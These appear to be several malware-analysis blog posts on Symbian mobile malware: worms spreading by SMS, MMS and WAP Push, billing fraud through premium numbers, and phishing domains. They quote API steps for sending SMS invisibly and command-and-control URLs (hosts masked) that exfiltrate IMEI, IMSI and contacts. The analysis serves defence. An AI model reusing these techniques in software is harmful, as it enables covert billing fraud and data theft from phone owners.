I had already seen mobile malware SMS messages with a malicious URL inside (e.g SymbOS/Yxes), or MMS messages (e.g SymbOS/Album.A!tr, SymbOS/Beselo!worm…) with a malicious attachment. However I had never noticed a mobile malware piece sending a WAP Push SMS (special SMS messages typically used to send ringtones, wallpapers, OTA provisioning etc).

The recent SymbOS/NMPlugin.A!tr does all three ! It sends:

- an MMS, whose title is “Hello Skuller”, and contains an attachment named Sunset.jpg

- a SMS containing a short message and a malicious URL from which to download another Symbian malware. This message is written in Chinese (it uses the UCS2 character set) and says something about some of your friends having uploaded two videos to the malicious URL

- a WAP Push SMS message, using China Mobile’s cmwap access point, and sent to UDP port 2948. This port is typically used for WAP Push Service Indication messages (WAP 167).

WAP Push Service Indication messages are special SMS meant to notify the end-user that a new service is operational at a given URL. Unfortunately, so far, the body of the message hasn’t been identified, so we cannot be sure this is what the malware is actually sending. However, if this is the case, a WAP Push Service Indication would be particularly dangerous for at least two reasons:

First, WAP Push messages are usually considered as high priority SMS and hence often automatically displayed on the mobile phone (see ‘signal-high’ parameter in WAP 167). For an attacker, this is nice because there are higher chances the message will be read by the victim.

Second, on some phones, a vulnerability prevents the phone from correctly displaying the originator of the message,so the victim may think the URI is sent by his/her (trusted) operator (see Figure below). For attackers, the downside is that WAP Push messages are not supported by all mobile phones.

Figure 1. Example of WAP Push SI message that does not correctly display the originator. The victim may consequently think the URL comes from a trusted party (system administrator).

– the Crypto Girl.

Lately, I have been analyzing a sample of SymbOS/Album.A!tr, another advanced malware targeting mobile phones running Symbian OS 9 and greater.

First of all, once more, like SymbOS/Yxes, this malware was “legitimately” signed by Symbian’s Express Signed program. The certificate is now revoked:

Serial Number: c8:8e:00:01:00:23:db:45:38:bc:e7:2a:d3:03
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
    Not Before: Nov 20 05:00:02 2009 GMT
    Not After : Nov 21 05:00:02 2019 GMT
Subject: C=CN, ST=guangdong, L=shenzhen,
O=Shenzhen ZhongXunTianCheng Technology Co.,Ltd.,
OU=PF_V100  1.0.0,
OU=Symbian Signed ContentID,
CN=Shenzhen ZhongXunTianCheng Technology Co.,Ltd.

Like SymbOS/Yxes, SymbOS/Album has the capability to silently send SMS messages. It does not do it the same way though: Yxes uses the RSendAs class, whereas Album uses a non-official Symbian API named EasyDgm API (Easy Datagram API). This API sends SMS messages via sockets. Check out the API’s source code for more details, but basically, this is how it works:

1. open a socket (RSocket) and select the SMS protocol: iSocket.Open(iSocketServer, KSMSAddrFamily, KSockDatagram, KSMSDatagramProtocol);
2. create a stream to write over that socket: RSmsSocketWriteStream writeStream(iSocket);
3. dump the SMS message in the stream: writeStream << *smsMsg;
4. flush all remaining data in the stream: writeStream.CommitL();

SMS messages sent that way are not reported in the phone’s Sent message box, so they are ‘invisible’ to the user (but not to his/her future bill !). To see what’s happening, one must read the phone’s internal log file, c:\101f401d\logdbu.dat:

"28/06/2010","15:26","Short message","Outgoing","Not sent",
   "1*1#","10665xxx"...
"28/06/2010","15:24","Short message","Outgoing","Not sent",
   "@id=200@V1.2.0@YOUR IMSI@3","13410252xxx"...

The log shows the malware tried to send 2 SMS messages, one to the phone number 10665xxx with text “1*1#” and the other one to 13410252xxx with a string containing the IMSI. Those SMS messages had no chance to make it to their recipient because they are only valid in China and I am not ;) (and, of course, I had checked manually in the disassembly what numbers the malware was likely to dial before trying !). Unfortunately, several Chinese users have been less lucky and have reported abnormal bill growth (see Figures 1 and 2).

Figure 1. Chinese user complaining his phone dialed 13410252xxx (text translated from Chinese)	Figure 2. Chinese user complaining about unexpected SMS messages to 10665xxx (text translated from Chinese)

The number 10665xxx is special. It corresponds to a service provider number, i.e a special number allocated by the operator to so-called “service providers”. In that case, the number was allocated by China Mobile to “Interactive Technology Co., Ltd. Shenzhen Creation”.

As for the number 13410252xxx, it corresponds to a personal GSM located in Shenzhen, in the Guangdong Province, and it is operated by China Mobile.

Figure 3. Locating number 13410252xxx (translated from Chinese)

Does that ring a bell? Look at the certificate at the top of this post:

C=CN, ST=guangdong, L=shenzhen

Yes, the certificate also belongs to an individual/company located in Shenzhen. No proof, but looks likely both belong to the same person.
Note that the names “Interactive Technology Co” or “ZhongXunTianCheng” may be fake, or impersonated and hence may not correspond to the malware authors.

Thanks to NetQin for sharing this sample.

– the Crypto Girl

A few days ago we encountered a new variant of the Symbian worm, Yxes, that we named SymbOS/Yxes.H!worm. This worm contacts malicious remote servers, which host Java Server Pages, and propagates by sending ‘attractive’ SMS messages. For instance, this new variant sends an SMS with an URL promising private information concerning a Chinese actress. Globally, the logic (and much of the code) is the same as in previous variants. Yet, there are a few updates, one of the main ones being the use of new remote malicious Java Server Pages.

I guess every analyst has noticed this variant of the malware contacts the following URLs:

http://XXXX/Jump.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...
http://XXXX/Kernel.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...
http://XXXX/KernelPara.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...

The PhoneType argument contains the model of the infected phone (e.g nokia3250, nokian95…), while the PhoneImei and PhoneImsi arguments respectively contain the phone’s IMEI and IMSI. The Source argument is new to this variant, and its use has not been reversed yet. It could possibly contain the name of the malicious website used to infect the phone.

The first of those JSP pages, Jump.jsp, redirects the user to a Chinese mobile social networking site (3g.kaixin001.com then wap.kaixin001.com). Actually, we had already noticed this behaviour in at least 2 former JSP pages used by previous versions.

The second JSP page, Kernel.jsp, actually replies the following string (host name removed):

http://XXXX/download/root/plugucsrv.sisx

And, from this location, we get a new minor variant of Yxes.D. This is a consistent behavior in Yxes: the worm indeed often works in pairs (e.g variants A, B, D or E download variants C, D or F). In this case, variant H silently downloads and installs a remotely hosted new version of variant D.

Its certificate says:

Serial Number:
 2a:2f:00:01:00:23:37:98:0c:73:b2:c7:69:17
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
 Not Before: Jan 23 17:55:42 2010 GMT
 Not After : Jan 24 17:55:42 2020 GMT
Subject: C=CN, ST=Fujian, L=XiaMen, O=Xiamen Jindoucheng Tech Co. Ltd.,
OU=plugucsrv  2.1.0, OU=Symbian Signed ContentID,
CN=Xiamen Jindoucheng Tech Co. Ltd.

A notification has been sent to Symbian, who tells us the certificate should soon be revoked. Meanwhile, be cautious if you encounter a file named plugucsrv.sisx that installs as a ‘Setting Wizard’.

That variant D then actually does most of the malicious work: collect data on the phone, report it back to the malicious web servers and send SMS messages. The URLs it contacts are:

http://XXXX/bs.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...&Component=...

http://XXXX/index.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...&Component=...

http://XXXX/number.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...

The PhoneNumber, Succeed, Fail and Time arguments are obviously used to report contacts listed on the phone. The Succeed and Fail arguments are followed by an integer, probably the number of times that phone number has successfully been called or not.

Quite interestingly, if we try to get http://XXXX/bs.jsp, using a credible user agent (the malicious websites are known to check user agents – in particular, if it detects Internet Explorer, it responds “404 Not Found”):

SUCCESS reponse: 200 OK
http://hew1ett-packard.com/bs.jsp?

Notice the letter L of Hewlett has been replaced the number 1 (one).

So, the first malicious web server redirects the requests to another malicious web server, whose name is obviously intentionally crafted to fool the end-user. The URL does not respond any longer. Note that the Yxes worm is already known to use such mispellings:

• www.megac1jck.com
• www.mozi11a.com
• www.makt00b.com
• www.mediafir8.com
• www.megaup10ad.com

The third JSP, KernelPara.jsp, is still a mystery we have to work on. It returns a file named encrypt_Kernel_Para.txt. If its name is meaningful, it is likely to be an encrypted version of a file named Kernel_Para.txt (the worm already uses files with similar names: Local_Para.txt and Remote_Para.txt). In our case, its content is fixed and 32-byte long. It is not an XOR encrypted URL.

Finally, to evaluate the worm’s authors progress, it is interesting to follow the dates and versions of samples. The dates are taken from the first validity date in the X.509 certificate used to sign the sample, and the version numbers are included either in the main executable of the sample or in the certificate.

Apart from a sporadic ‘accident’ end of June 2009 where a version 1.0 goes in the wild (probably an error in versioning), we see the worm authors are continuously working on Yxes since the end of 2008. So my first prediction for 2010 was nearly bound to be true…

– The Crypto Girl

Lately, we’ve been fed with H1N1 flu security measures, with recommendations regarding how to clean our hands, sneeze or cough. I just wonder if we’d be so obedient if the same recommendations were issued for our computers or phones.

Have a look at the advice below: on the left are CDC’s recommendations against H1N1. On the right… Fortinet’s recommendations against SymbOS/Yxes.

Convinced? Will you follow them?

There has been a lot of confusion lately concerning the SymbOS/Yxes worm. Among those, it has now dawned on me the so-called Transmitter.C reported in numerous articles on the net (for instance, here and here), is not sexySpace.sisx (detected as SymbOS/Yxes.E!worm): those are two different malware.

Why ? As a matter of fact, several issues startled me (ordered from weakest to strongest point):

1. Transmitter.C is reported to send a massive amount of SMS messages (they are talking about 500 SMS). If Transmitter.C is Yxes.E, it is surprising because I cannot see any loop in the code indicating numerous copies of SMS are sent out, but of course, that would depend on the amount of contacts and SMS stored in the infected phone. Strange though. In Yxes.E, I do see the piece of code that sends SMS messages (see picture below), but I haven’t spotted any function calling it yet. The malicious code might be bugged. And, as a matter of fact, on the Nokia N95 I tried it on, Yxes.E did not succeed to send any SMS at all.

Figure 1. Assembly routine sending an SMS – disassembled with IDA Pro. The routine connects to the SendAs server. Then it creates a message object, sets the recipient (”to”) and finally the message body.

2. The screenshot of the SMS message mentions the string “A very sexy girl, Try it now!” with a link to a website hosting sexySpace.sisx. But, quite strangely, this string is nowhere to be found in the executable inside sexySpace.sisx (AcsServer.exe) nor in other resources. No, it is definetely not in Yxes.E. Of course, it could be dynamically decrypted from data in the executable, but then, why are similar strings in cleartext in Yxes.D (”A very interesting sexy game!try it soon!”) ?

3. Last but not least, Transmitter.C is said to spread as a trojaned version of a legitimate application named ‘Advanced Device Locks’, but sexySpace.sisx does not install as ‘Advanced Device Locks’ at all: it installs under the name ‘Sexy Space’ and does not include any part of the Advanced Device Locks application. That does not sound like the right sample at all.

To my opinion, Transmitter.C is not sexySpace.sisx, and thus not SymbOS/Yxes.E!worm. In that case, the SMS screenshot should probably be credited to Transmitter.C (and not SymbOS/Yxes.E!worm), which is interesting, because it includes a link to a website hosting sexySpace.sisx. This means Transmitter.C can be seen as a kind of dropper that tries to spread SymbOS/Yxes.E!worm.

– The Crypto Girl.

PS. By the way, if you encounter a sample of Transmitter.C please be forward it to submitvirus (at) fortinet.com.